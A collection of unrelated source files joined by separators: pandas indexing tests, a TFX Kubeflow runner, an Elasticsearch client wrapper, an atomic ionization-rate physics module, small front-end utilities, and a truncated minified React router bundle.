0060 3d ce bc 37 98 25 2c 0d f0 59 80 b2 b1 6f 95 03 =..7.%,..Y...o..
`);
//# sourceMappingURL=fixture_full_tcp_packets.js.map
|
# coding=utf-8
# pylint: disable-msg=E1101,W0612
import pytest
import pandas as pd
import numpy as np
from pandas import (Series, date_range, isna, Index, Timestamp)
from pandas.compat import lrange, range
from pandas.core.dtypes.common import is_integer
from pandas.core.indexing import IndexingError
from pandas.tseries.offsets import BDay
from pandas.util.testing import (assert_series_equal)
import pandas.util.testing as tm
def test_getitem_boolean(test_data):
s = test_data.series
mask = s > s.median()
# passing list is OK
result = s[list(mask)]
expected = s[mask]
assert_series_equal(result, expected)
tm.assert_index_equal(result.index, s.index[mask])
def test_getitem_boolean_empty():
s = Series([], dtype=np.int64)
s.index.name = 'index_name'
s = s[s.isna()]
assert s.index.name == 'index_name'
assert s.dtype == np.int64
# GH5877
# indexing with empty series
s = Series(['A', 'B'])
expected = Series(np.nan, index=['C'], dtype=object)
result = s[Series(['C'], dtype=object)]
assert_series_equal(result, expected)
s = Series(['A', 'B'])
expected = Series(dtype=object, index=Index([], dtype='int64'))
result = s[Series([], dtype=object)]
assert_series_equal(result, expected)
# invalid because of the boolean indexer
# that's empty or not-aligned
def f():
s[Series([], dtype=bool)]
pytest.raises(IndexingError, f)
def f():
s[Series([True], dtype=bool)]
pytest.raises(IndexingError, f)
def test_getitem_boolean_object(test_data):
# using column from DataFrame
s = test_data.series
mask = s > s.median()
omask = mask.astype(object)
# getitem
result = s[omask]
expected = s[mask]
assert_series_equal(result, expected)
# setitem
s2 = s.copy()
cop = s.copy()
cop[omask] = 5
s2[mask] = 5
assert_series_equal(cop, s2)
# nans raise exception
omask[5:10] = np.nan
pytest.raises(Exception, s.__getitem__, omask)
pytest.raises(Exception, s.__setitem__, omask, 5)
def test_getitem_setitem_boolean_corner(test_data):
ts = test_data.ts
mask_shifted = ts.shift(1, freq=BDay()) > ts.median()
# these used to raise...??
pytest.raises(Exception, ts.__getitem__, mask_shifted)
pytest.raises(Exception, ts.__setitem__, mask_shifted, 1)
# ts[mask_shifted]
# ts[mask_shifted] = 1
pytest.raises(Exception, ts.loc.__getitem__, mask_shifted)
pytest.raises(Exception, ts.loc.__setitem__, mask_shifted, 1)
# ts.loc[mask_shifted]
# ts.loc[mask_shifted] = 2
def test_setitem_boolean(test_data):
mask = test_data.series > test_data.series.median()
# similar indexed series
result = test_data.series.copy()
result[mask] = test_data.series * 2
expected = test_data.series * 2
assert_series_equal(result[mask], expected[mask])
# needs alignment
result = test_data.series.copy()
result[mask] = (test_data.series * 2)[0:5]
expected = (test_data.series * 2)[0:5].reindex_like(test_data.series)
expected[-mask] = test_data.series[mask]
assert_series_equal(result[mask], expected[mask])
def test_get_set_boolean_different_order(test_data):
ordered = test_data.series.sort_values()
# setting
copy = test_data.series.copy()
copy[ordered > 0] = 0
expected = test_data.series.copy()
expected[expected > 0] = 0
assert_series_equal(copy, expected)
# getting
sel = test_data.series[ordered > 0]
exp = test_data.series[test_data.series > 0]
assert_series_equal(sel, exp)
def test_where_unsafe_int(sint_dtype):
s = Series(np.arange(10), dtype=sint_dtype)
mask = s < 5
s[mask] = lrange(2, 7)
expected = Series(lrange(2, 7) + lrange(5, 10), dtype=sint_dtype)
assert_series_equal(s, expected)
def test_where_unsafe_float(float_dtype):
s = Series(np.arange(10), dtype=float_dtype)
mask = s < 5
s[mask] = lrange(2, 7)
expected = Series(lrange(2, 7) + lrange(5, 10), dtype=float_dtype)
assert_series_equal(s, expected)
@pytest.mark.parametrize("dtype", [np.int64, np.float64])
def test_where_unsafe_upcast(dtype):
s = Series(np.arange(10), dtype=dtype)
values = [2.5, 3.5, 4.5, 5.5, 6.5]
mask = s < 5
expected = Series(values + lrange(5, 10), dtype="float64")
s[mask] = values
assert_series_equal(s, expected)
@pytest.mark.parametrize("dtype", [
np.int8, np.int16, np.int32, np.float32
])
def test_where_unsafe_itemsize_fail(dtype):
# Can't do these, as we are forced to change the
# item size of the input to something we cannot.
s = Series(np.arange(10), dtype=dtype)
mask = s < 5
values = [2.5, 3.5, 4.5, 5.5, 6.5]
pytest.raises(Exception, s.__setitem__, tuple(mask), values)
def test_where_unsafe():
# see gh-9731
s = Series(np.arange(10), dtype="int64")
values = [2.5, 3.5, 4.5, 5.5]
mask = s > 5
expected = Series(lrange(6) + values, dtype="float64")
s[mask] = values
assert_series_equal(s, expected)
# see gh-3235
s = Series(np.arange(10), dtype='int64')
mask = s < 5
s[mask] = lrange(2, 7)
expected = Series(lrange(2, 7) + lrange(5, 10), dtype='int64')
assert_series_equal(s, expected)
assert s.dtype == expected.dtype
s = Series(np.arange(10), dtype='int64')
mask = s > 5
s[mask] = [0] * 4
expected = Series([0, 1, 2, 3, 4, 5] + [0] * 4, dtype='int64')
assert_series_equal(s, expected)
s = Series(np.arange(10))
mask = s > 5
def f():
s[mask] = [5, 4, 3, 2, 1]
pytest.raises(ValueError, f)
def f():
s[mask] = [0] * 5
pytest.raises(ValueError, f)
# dtype changes
s = Series([1, 2, 3, 4])
result = s.where(s > 2, np.nan)
expected = Series([np.nan, np.nan, 3, 4])
assert_series_equal(result, expected)
# GH 4667
# setting with None changes dtype
s = Series(range(10)).astype(float)
s[8] = None
result = s[8]
assert isna(result)
s = Series(range(10)).astype(float)
s[s > 8] = None
result = s[isna(s)]
expected = Series(np.nan, index=[9])
assert_series_equal(result, expected)
def test_where_raise_on_error_deprecation():
# gh-14968
# deprecation of raise_on_error
s = Series(np.random.randn(5))
cond = s > 0
with tm.assert_produces_warning(FutureWarning):
s.where(cond, raise_on_error=True)
with tm.assert_produces_warning(FutureWarning):
s.mask(cond, raise_on_error=True)
def test_where():
s = Series(np.random.randn(5))
cond = s > 0
rs = s.where(cond).dropna()
rs2 = s[cond]
assert_series_equal(rs, rs2)
rs = s.where(cond, -s)
assert_series_equal(rs, s.abs())
rs = s.where(cond)
assert (s.shape == rs.shape)
assert (rs is not s)
# test alignment
cond = Series([True, False, False, True, False], index=s.index)
s2 = -(s.abs())
expected = s2[cond].reindex(s2.index[:3]).reindex(s2.index)
rs = s2.where(cond[:3])
assert_series_equal(rs, expected)
expected = s2.abs()
expected.iloc[0] = s2[0]
rs = s2.where(cond[:3], -s2)
assert_series_equal(rs, expected)
def test_where_error():
s = Series(np.random.randn(5))
cond = s > 0
pytest.raises(ValueError, s.where, 1)
pytest.raises(ValueError, s.where, cond[:3].values, -s)
# GH 2745
s = Series([1, 2])
s[[True, False]] = [0, 1]
expected = Series([0, 2])
assert_series_equal(s, expected)
# failures
pytest.raises(ValueError, s.__setitem__, tuple([[[True, False]]]),
[0, 2, 3])
pytest.raises(ValueError, s.__setitem__, tuple([[[True, False]]]),
[])
@pytest.mark.parametrize('klass', [list, tuple, np.array, Series])
def test_where_array_like(klass):
# see gh-15414
s = Series([1, 2, 3])
cond = [False, True, True]
expected = Series([np.nan, 2, 3])
result = s.where(klass(cond))
assert_series_equal(result, expected)
@pytest.mark.parametrize('cond', [
[1, 0, 1],
Series([2, 5, 7]),
["True", "False", "True"],
[Timestamp("2017-01-01"), pd.NaT, Timestamp("2017-01-02")]
])
def test_where_invalid_input(cond):
# see gh-15414: only boolean arrays accepted
s = Series([1, 2, 3])
msg = "Boolean array expected for the condition"
with tm.assert_raises_regex(ValueError, msg):
s.where(cond)
msg = "Array conditional must be same shape as self"
with tm.assert_raises_regex(ValueError, msg):
s.where([True])
def test_where_ndframe_align():
msg = "Array conditional must be same shape as self"
s = Series([1, 2, 3])
cond = [True]
with tm.assert_raises_regex(ValueError, msg):
s.where(cond)
expected = Series([1, np.nan, np.nan])
out = s.where(Series(cond))
tm.assert_series_equal(out, expected)
cond = np.array([False, True, False, True])
with tm.assert_raises_regex(ValueError, msg):
s.where(cond)
expected = Series([np.nan, 2, np.nan])
out = s.where(Series(cond))
tm.assert_series_equal(out, expected)
def test_where_setitem_invalid():
# GH 2702
# make sure correct exceptions are raised on invalid list assignment
# slice
s = Series(list('abc'))
def f():
s[0:3] = list(range(27))
pytest.raises(ValueError, f)
s[0:3] = list(range(3))
expected = Series([0, 1, 2])
assert_series_equal(s.astype(np.int64), expected, )
# slice with step
s = Series(list('abcdef'))
def f():
s[0:4:2] = list(range(27))
pytest.raises(ValueError, f)
s = Series(list('abcdef'))
s[0:4:2] = list(range(2))
expected = Series([0, 'b', 1, 'd', 'e', 'f'])
assert_series_equal(s, expected)
# neg slices
s = Series(list('abcdef'))
def f():
s[:-1] = list(range(27))
pytest.raises(ValueError, f)
s[-3:-1] = list(range(2))
expected = Series(['a', 'b', 'c', 0, 1, 'f'])
assert_series_equal(s, expected)
# list
s = Series(list('abc'))
def f():
s[[0, 1, 2]] = list(range(27))
pytest.raises(ValueError, f)
s = Series(list('abc'))
def f():
s[[0, 1, 2]] = list(range(2))
pytest.raises(ValueError, f)
# scalar
s = Series(list('abc'))
s[0] = list(range(10))
expected = Series([list(range(10)), 'b', 'c'])
assert_series_equal(s, expected)
@pytest.mark.parametrize('size', range(2, 6))
@pytest.mark.parametrize('mask', [
[True, False, False, False, False],
[True, False],
[False]
])
@pytest.mark.parametrize('item', [
2.0, np.nan, np.finfo(np.float).max, np.finfo(np.float).min
])
# Test numpy arrays, lists and tuples as the input to be
# broadcast
@pytest.mark.parametrize('box', [
lambda x: np.array([x]),
lambda x: [x],
lambda x: (x,)
])
def test_broadcast(size, mask, item, box):
selection = np.resize(mask, size)
data = np.arange(size, dtype=float)
# Construct the expected series by taking the source
# data or item based on the selection
expected = Series([item if use_item else data[
i] for i, use_item in enumerate(selection)])
s = Series(data)
s[selection] = box(item)
assert_series_equal(s, expected)
s = Series(data)
result = s.where(~selection, box(item))
assert_series_equal(result, expected)
s = Series(data)
result = s.mask(selection, box(item))
assert_series_equal(result, expected)
def test_where_inplace():
s = Series(np.random.randn(5))
cond = s > 0
rs = s.copy()
rs.where(cond, inplace=True)
assert_series_equal(rs.dropna(), s[cond])
assert_series_equal(rs, s.where(cond))
rs = s.copy()
rs.where(cond, -s, inplace=True)
assert_series_equal(rs, s.where(cond, -s))
def test_where_dups():
# GH 4550
# where crashes with dups in index
s1 = Series(list(range(3)))
s2 = Series(list(range(3)))
comb = pd.concat([s1, s2])
result = comb.where(comb < 2)
expected = Series([0, 1, np.nan, 0, 1, np.nan],
index=[0, 1, 2, 0, 1, 2])
assert_series_equal(result, expected)
# GH 4548
# inplace updating not working with dups
comb[comb < 1] = 5
expected = Series([5, 1, 2, 5, 1, 2], index=[0, 1, 2, 0, 1, 2])
assert_series_equal(comb, expected)
comb[comb < 2] += 10
expected = Series([5, 11, 2, 5, 11, 2], index=[0, 1, 2, 0, 1, 2])
assert_series_equal(comb, expected)
def test_where_numeric_with_string():
# GH 9280
s = pd.Series([1, 2, 3])
w = s.where(s > 1, 'X')
assert not is_integer(w[0])
assert is_integer(w[1])
assert is_integer(w[2])
assert isinstance(w[0], str)
assert w.dtype == 'object'
w = s.where(s > 1, ['X', 'Y', 'Z'])
assert not is_integer(w[0])
assert is_integer(w[1])
assert is_integer(w[2])
assert isinstance(w[0], str)
assert w.dtype == 'object'
w = s.where(s > 1, np.array(['X', 'Y', 'Z']))
assert not is_integer(w[0])
assert is_integer(w[1])
assert is_integer(w[2])
assert isinstance(w[0], str)
assert w.dtype == 'object'
def test_where_timedelta_coerce():
s = Series([1, 2], dtype='timedelta64[ns]')
expected = Series([10, 10])
mask = np.array([False, False])
rs = s.where(mask, [10, 10])
assert_series_equal(rs, expected)
rs = s.where(mask, 10)
assert_series_equal(rs, expected)
rs = s.where(mask, 10.0)
assert_series_equal(rs, expected)
rs = s.where(mask, [10.0, 10.0])
assert_series_equal(rs, expected)
rs = s.where(mask, [10.0, np.nan])
expected = Series([10, None], dtype='object')
assert_series_equal(rs, expected)
def test_where_datetime_conversion():
s = Series(date_range('20130102', periods=2))
expected = Series([10, 10])
mask = np.array([False, False])
rs = s.where(mask, [10, 10])
assert_series_equal(rs, expected)
rs = s.where(mask, 10)
assert_series_equal(rs, expected)
rs = s.where(mask, 10.0)
assert_series_equal(rs, expected)
rs = s.where(mask, [10.0, 10.0])
assert_series_equal(rs, expected)
rs = s.where(mask, [10.0, np.nan])
expected = Series([10, None], dtype='object')
assert_series_equal(rs, expected)
# GH 15701
timestamps = ['2016-12-31 12:00:04+00:00',
'2016-12-31 12:00:04.010000+00:00']
s = Series([pd.Timestamp(t) for t in timestamps])
rs = s.where(Series([False, True]))
expected = Series([pd.NaT, s[1]])
assert_series_equal(rs, expected)
def test_where_dt_tz_values(tz_naive_fixture):
ser1 = pd.Series(pd.DatetimeIndex(['20150101', '20150102', '20150103'],
tz=tz_naive_fixture))
ser2 = pd.Series(pd.DatetimeIndex(['20160514', '20160515', '20160516'],
tz=tz_naive_fixture))
mask = pd.Series([True, True, False])
result = ser1.where(mask, ser2)
exp = pd.Series(pd.DatetimeIndex(['20150101', '20150102', '20160516'],
tz=tz_naive_fixture))
assert_series_equal(exp, result)
def test_mask():
# compare with tested results in test_where
s = Series(np.random.randn(5))
cond = s > 0
rs = s.where(~cond, np.nan)
assert_series_equal(rs, s.mask(cond))
rs = s.where(~cond)
rs2 = s.mask(cond)
assert_series_equal(rs, rs2)
rs = s.where(~cond, -s)
rs2 = s.mask(cond, -s)
assert_series_equal(rs, rs2)
cond = Series([True, False, False, True, False], index=s.index)
s2 = -(s.abs())
rs = s2.where(~cond[:3])
rs2 = s2.mask(cond[:3])
assert_series_equal(rs, rs2)
rs = s2.where(~cond[:3], -s2)
rs2 = s2.mask(cond[:3], -s2)
assert_series_equal(rs, rs2)
pytest.raises(ValueError, s.mask, 1)
pytest.raises(ValueError, s.mask, cond[:3].values, -s)
# dtype changes
s = Series([1, 2, 3, 4])
result = s.mask(s > 2, np.nan)
expected = Series([1, 2, np.nan, np.nan])
assert_series_equal(result, expected)
def test_mask_inplace():
s = Series(np.random.randn(5))
cond = s > 0
rs = s.copy()
rs.mask(cond, inplace=True)
assert_series_equal(rs.dropna(), s[~cond])
assert_series_equal(rs, s.mask(cond))
rs = s.copy()
rs.mask(cond, -s, inplace=True)
assert_series_equal(rs, s.mask(cond, -s))
|
# Lint as: python2, python3
# Copyright 2020 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Define KubeflowDagRunner to run the pipeline using Kubeflow.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
from absl import logging
from tfx.experimental.templates.taxi.pipeline import configs
from tfx.experimental.templates.taxi.pipeline import pipeline
from tfx.orchestration.kubeflow import kubeflow_dag_runner
from tfx.proto import trainer_pb2
# TFX pipeline produces many output files and metadata. All output data will be
# stored under this OUTPUT_DIR.
OUTPUT_DIR = os.path.join('gs://', configs.GCS_BUCKET_NAME)
# TFX produces two types of outputs, files and metadata.
# - Files will be created under PIPELINE_ROOT directory.
PIPELINE_ROOT = os.path.join(OUTPUT_DIR, 'tfx_pipeline_output',
configs.PIPELINE_NAME)
# The last component of the pipeline, "Pusher" will produce serving model under
# SERVING_MODEL_DIR.
SERVING_MODEL_DIR = os.path.join(PIPELINE_ROOT, 'serving_model')
# Specifies data file directory. DATA_PATH should be a directory containing CSV
# files for CsvExampleGen in this example. By default, data files are in the
# `data` directory.
# NOTE: If you upload data files to GCS(which is recommended if you use
# Kubeflow), you can use a path starting "gs://YOUR_BUCKET_NAME/path" for
# DATA_PATH. For example,
# DATA_PATH = 'gs://bucket/chicago_taxi_trips/csv/'
DATA_PATH = 'data'
def run():
"""Define a kubeflow pipeline."""
# Metadata config. The defaults works work with the installation of
# KF Pipelines using Kubeflow. If installing KF Pipelines using the
# lightweight deployment option, you may need to override the defaults.
# If you use Kubeflow, metadata will be written to MySQL database inside
# Kubeflow cluster.
metadata_config = kubeflow_dag_runner.get_default_kubeflow_metadata_config()
# This pipeline automatically injects the Kubeflow TFX image if the
# environment variable 'KUBEFLOW_TFX_IMAGE' is defined. Currently, the tfx
# cli tool exports the environment variable to pass to the pipelines.
tfx_image = os.environ.get('KUBEFLOW_TFX_IMAGE', None)
runner_config = kubeflow_dag_runner.KubeflowDagRunnerConfig(
kubeflow_metadata_config=metadata_config,
tfx_image=tfx_image
)
# Set the SDK type label environment.
os.environ[kubeflow_dag_runner.SDK_ENV_LABEL] = 'tfx-template'
kubeflow_dag_runner.KubeflowDagRunner(config=runner_config).run(
pipeline.create_pipeline(
pipeline_name=configs.PIPELINE_NAME,
pipeline_root=PIPELINE_ROOT,
data_path=DATA_PATH,
# TODO(step 7): (Optional) Uncomment below to use BigQueryExampleGen.
# query=configs.BIG_QUERY_QUERY,
preprocessing_fn=configs.PREPROCESSING_FN,
run_fn=configs.RUN_FN,
train_args=trainer_pb2.TrainArgs(num_steps=configs.TRAIN_NUM_STEPS),
eval_args=trainer_pb2.EvalArgs(num_steps=configs.EVAL_NUM_STEPS),
eval_accuracy_threshold=configs.EVAL_ACCURACY_THRESHOLD,
serving_model_dir=SERVING_MODEL_DIR,
# TODO(step 7): (Optional) Uncomment below to use provide GCP related
# config for BigQuery with Beam DirectRunner.
# beam_pipeline_args=configs
# .BIG_QUERY_WITH_DIRECT_RUNNER_BEAM_PIPELINE_ARGS,
# TODO(step 8): (Optional) Uncomment below to use Dataflow.
# beam_pipeline_args=configs.DATAFLOW_BEAM_PIPELINE_ARGS,
# TODO(step 9): (Optional) Uncomment below to use Cloud AI Platform.
# ai_platform_training_args=configs.GCP_AI_PLATFORM_TRAINING_ARGS,
# TODO(step 9): (Optional) Uncomment below to use Cloud AI Platform.
# ai_platform_serving_args=configs.GCP_AI_PLATFORM_SERVING_ARGS,
))
if __name__ == '__main__':
logging.set_verbosity(logging.INFO)
run()
|
from .lexer import PokeLexer
from .tokens import tokens, ignore_tokens
|
/**
* @module EasyES
* @description Exports functions to interact with AWS Elastic Cluster.
* @exports easyES
* @author Amit Phulera <amitp@smartjoules.in>
*/
const AWS = require('aws-sdk');
const { Client } = require('@elastic/elasticsearch');
const moment = require('moment-timezone');
const util = require('./util/app.util');
moment.tz.setDefault('Asia/Kolkata');
const { AwsConnector } = require('./lib/aws_es_connector');
class EasyES {
constructor(cluster, region) {
if (!cluster || !region) {
const error = { err: 'No cluster or region info' };
throw Error(error);
}
AWS.config.update({
region,
});
this.client = new Client({
node: cluster,
Connection: AwsConnector,
});
}
/**
* @function indexRecords
* @param {array} records A array of flattened datadevice entries
* @description Takes an array of records and indexes them in elasticsearch using bulk API call.
* @returns {Promise} A Promise of the bulk API call of ElasticSearch which tries to index all
* the records in ES
*/
indexRecords(records) {
if (!records || !Array.isArray(records)) {
throw Error({ err: 'Records should be array' });
}
const bulkRecords = records.map(util.generateESObj);
const body = [];
bulkRecords.map((arr) => {
body.push(arr[0]);
body.push(arr[1]);
return arr;
});
const params = {
body,
};
return this.client.bulk(params);
}
/**
* @function query
* @param {object} searchObj sails-dynamo like query object
* @param {object} filters other options to pass to elastic search for the query
* The following filters are avaialable as of present
* @param {number} filters.size defaults to 10000
* @param {string} filters.sort defaults to asc
* @param {Boolean} filters.format defaults to 'datadevice'.
* raw|flatten|dataDevice|tsDevParamMap
* dataDevice : The results are structured like datadevice output
* which basically is all the parameters will be wrapped in data key by default, if
* you need flattened response set it to true.
* raw : If you want raw elastic search response then set this
* variable to true. This will dominate over flatten, and flatten will be ignored if
* this parameter is set to true
* flatten : Will return you flattened results
* tsDevParamMap : A map containing timestamp as primary key then indexed by deviceId
* then by parameter
*
* {
* <timestamp>:
* <deviceId>:{
* <paramA>:<val>,
* <paramB>:<val>
* }
* }
* @description Queries elastic search on the basis of search object provided
* Will return upto 10k matching results by default, if size is not specified.
* If you want to get all the results then set size to -1 and please mind that
* only 10lac elements can be returned after setting to -1. If more elements exists
* that match your criteria a cursor key will be returned which can be used to further
* query this object
*/
async query(searchObj, options = {}) {
if (!searchObj) throw Error({ message: 'No search Object specified' });
try {
const body = util.buildQueryBody(searchObj);
const dayIndexes = util.getRelevantIndexes(searchObj);
const monthIndexes = util.getRelevantMonthIndexes(searchObj);
const index = [...(new Set(...dayIndexes, ...monthIndexes))];
let { size, sort } = options;
const { format } = options;
if (!size || size === -1) {
size = 10000;
// TODO: to be changed later
}
sort = sort || 'asc';
const queryObj = {
index,
body,
size,
allow_no_indices: true,
ignore_unavailable: true,
sort: `_id:${sort}`,
filter_path: 'hits.hits._source.*,hits.total,hits.hits.sort',
};
if (searchObj.cursor) queryObj.search_after = searchObj.cursor;
if (format === 'raw') delete queryObj.filter_path;
const d = await this.client.search(queryObj);
return format === 'raw' ? d : util.filterResponse(d, options);
} catch (e) {
console.error('Error', JSON.stringify(e));
throw Error(e);
}
}
/**
* @function lastKnownParamValue
* @param {string} siteId
* @param {string} timestamp
* @param {string} deviceId
* @param {string} field
* @description Queries elastic serach to get the last known value of parameter
* specified in field before the timestamp.
* Let say we want to get the last kvah value before 10th august 2019 of
* a particular deviceId then this function can be used.
*/
async lastKnownParamValue(siteId, timestamp, deviceId, field) {
if (!siteId || !timestamp || !deviceId || !field) {
throw Error({ err: 'Incomplete parameters at lastknownParamValues' });
}
const day = moment(timestamp).format('YYYY-MM-DD');
const prevDay = moment(timestamp)
.subtract(1, 'day')
.format('YYYY-MM-DD');
const index = [`${siteId}_data_${day}`, `${siteId}_data_${prevDay}`];
const body = {
query: {
bool: {
must: [
{
exists: {
field,
},
},
{
term: {
deviceId,
},
},
{
range: {
timestamp: {
lte: timestamp,
},
},
},
],
},
},
};
const queryObj = {
index,
body,
size: 1,
allow_no_indices: true,
ignore_unavailable: true,
sort: '_id:desc',
filter_path: 'hits.hits._source.*,hits.total,hits.hits.sort',
};
const d = await this.client.search(queryObj);
const res = util.filterResponse(d);
if (res.length === 0) return null;
return res[0][field];
}
}
module.exports = {
EasyES,
};
|
import numpy as np
# My imports
from atom import *
from laser import *
from gas import *
class ADK:
'''
Containts two adk calculations, the standard one and the modified one by Tong and Lin.
In general, they will return the ionization fraction using the cycle averaged rate
integrated over the pulse.
It also contains the steady-state ionization fraction inside a fsEC. See comments.
'''
def __init__(self, Atom='Xe', Intensity = .5, Pulse_FWHM = 120e-15):
self.Atom = Atom
self.Intensity = Intensity
self.Pulse_FWHM = Pulse_FWHM
# loaded quantities
self.at = atom(self.Atom, 0 , 0, 0)
def wbar_adk(self, inten):
'''
Standard ADK ionization rate calculation. See "Fundamentals of Attosecond Optics".
returns in units of [1/s]
'''
p = self.at.adk_params()
F = np.sqrt(inten / 355.0) + 1e-24
w_adk = p['abs_Cnl_sq'] * p['G_lm'] * p['Ip'] / 27.2 * (2 * p['F0'] / F) ** (
2 * p['n_star'] - p['ang_m'] - 1) * np.exp(- 2 * p['F0'] / 3 / F)
w_bar_adk = np.sqrt(3 * F / np.pi / p['F0']) * w_adk
return w_bar_adk * 41.341 * 10 ** 15
def ion_frac_adk(self):
'''
integrate over cycle averaged rate, return ionized fraction.
'''
las = laser(self.Pulse_FWHM, self.Intensity)
tspan = np.linspace(0, 2 * las.pulse_FWHM, 1000)
dt = (tspan[2] - tspan[1])
w = []
for i in range(len(tspan)):
w.append(self.wbar_adk(las.pulse(tspan[i])))
return 1 - np.exp(-1 * sum(w) * dt)
def wbar_adk_TL(self, inten):
'''
Implements the over the barrier ionization correction by
Tong and Lin J. Phys. B: At. Mol. Opt. Phys. 38 (2005) 2593–2600
'''
p = self.at.adk_params()
F = np.sqrt(inten / 355.0) + 1e-24
kappa = np.sqrt(2 * p['Ip'] / 27.2)
w_adk = p['abs_Cnl_sq'] * p['G_lm'] * p['Ip'] / 27.2 * (2 * p['F0'] / F) ** (
2 * p['n_star'] - p['ang_m'] - 1) * np.exp(- 2 * p['F0'] / 3 / F)
w_bar_adk = np.sqrt(
3 * F / np.pi / p['F0']) * np.exp(-1 * p['alpha'] / (p['Ip'] / 27.2) * F / kappa ** 3) * w_adk
return w_bar_adk * 41.341 * 10 ** 15
def ion_frac_adk_TL(self):
'''
Integrate over cycle averaged rate, return ionized fraction.
implements the over the barrier ionization correction by
Tong and Lin J. Phys. B: At. Mol. Opt. Phys. 38 (2005) 2593–2600
'''
las = laser(self.Pulse_FWHM, self.Intensity)
tspan = np.linspace(0, 2 * las.pulse_FWHM, 1000)
dt = (tspan[2] - tspan[1])
w = []
for i in range(len(tspan)):
w.append(self.wbar_adk_TL(las.pulse(tspan[i])))
return 1 - np.exp(-1 * sum(w) * dt)
def steady_state(self, frac, kp):
'''
returns the ionization fraction inside the fsEC.
See Allison et al. PRL 2011.
For our experiment, kp = 0.2 - 0.3
'''
return frac / (frac + kp)
|
!function(e){var n=e.spectrum.localization.dk={cancelText:"annuller",chooseText:"Vælg"};e.extend(e.fn.spectrum.defaults,n)}(jQuery);
|
import { __assign } from "tslib";
import * as React from 'react';
import { StyledIconBase } from '@styled-icons/styled-icon';
export var Backspace = React.forwardRef(function (props, ref) {
var attrs = {
"fill": "currentColor",
"xmlns": "http://www.w3.org/2000/svg",
};
return (React.createElement(StyledIconBase, __assign({ iconAttrs: attrs, iconVerticalAlign: "middle", iconViewBox: "0 0 24 24" }, props, { ref: ref }),
React.createElement("g", { "data-name": "Layer 2", key: "k0" },
React.createElement("path", { d: "M20.14 4h-9.77a3 3 0 00-2 .78l-.1.11-6 7.48a1 1 0 00.11 1.37l6 5.48a3 3 0 002 .78h9.77A1.84 1.84 0 0022 18.18V5.82A1.84 1.84 0 0020.14 4zm-3.43 9.29a1 1 0 010 1.42 1 1 0 01-1.42 0L14 13.41l-1.29 1.3a1 1 0 01-1.42 0 1 1 0 010-1.42l1.3-1.29-1.3-1.29a1 1 0 011.42-1.42l1.29 1.3 1.29-1.3a1 1 0 011.42 1.42L15.41 12z", "data-name": "backspace" }))));
});
Backspace.displayName = 'Backspace';
export var BackspaceDimensions = { height: 20, width: 20 };
|
const path = require('path');
const fs = require('fs');
function importsToPaths(imports, config) {
return Object.keys(imports)
.filter((cur) => typeof imports[cur] === 'string')
.reduce((acc, cur) => {
// Remove extensions
const importPath = imports[cur].replace(/\*\.(\w+)?$/i, '*');
// Build key-value object of paths
if (acc[cur] && !~acc[cur].indexOf(importPath)) {
acc[cur].push(importPath);
} else {
acc[cur] = [importPath];
}
return acc;
}, (config && config.compilerOptions && config.compilerOptions.paths) || {});
}
/**
* Extracts path aliases from package.json node imports field.
* https://nodejs.org/api/packages.html#packages_subpath_imports
*
* @param {{ params, config }} args Object with params and config objects,
* used to carry config and params across parsers.
* @return {Promise<{ params, config }>} Modified params and config objects.
*/
async function nodeImportsParser({ params, config }) {
const { cwd } = params;
const packageJsonPath = path.resolve(cwd, 'package.json');
if (!fs.existsSync(packageJsonPath)) {
return { params, config };
}
const pkgJson = require(packageJsonPath);
if (!pkgJson || !pkgJson.imports || Object.keys(pkgJson.imports) === 0) {
return { params, config };
}
const paths = importsToPaths(pkgJson.imports, config);
if (!paths || Object.keys(paths).length === 0) {
return { params, config };
}
return {
params: {
...params
},
config: {
...config,
compilerOptions: {
...config.compilerOptions,
baseUrl: config.compilerOptions.baseUrl || '.',
paths
}
}
};
}
nodeImportsParser.parserName = 'node subpath imports parser';
module.exports = {
importsToPaths,
nodeImportsParser
};
|
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.ConnectedReactRouter=t():e.ConnectedReactRouter=t()}(window,(function(){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=30)}([function(e,t,n){"use strict";e.exports=n(13)},function(e,t,n){e.exports=n(14)()},function(e,t,n){"use strict";e.exports=function(e,t,n,r,o,i,a,u){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,r,o,i,a,u],s=0;(l=new Error(t.replace(/%s/g,(function(){return c[s++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},function(e,t,n){"use strict";var r=n(16),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},u={};function l(e){return r.isMemo(e)?a:u[e.$$typeof]||o}u[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0};var 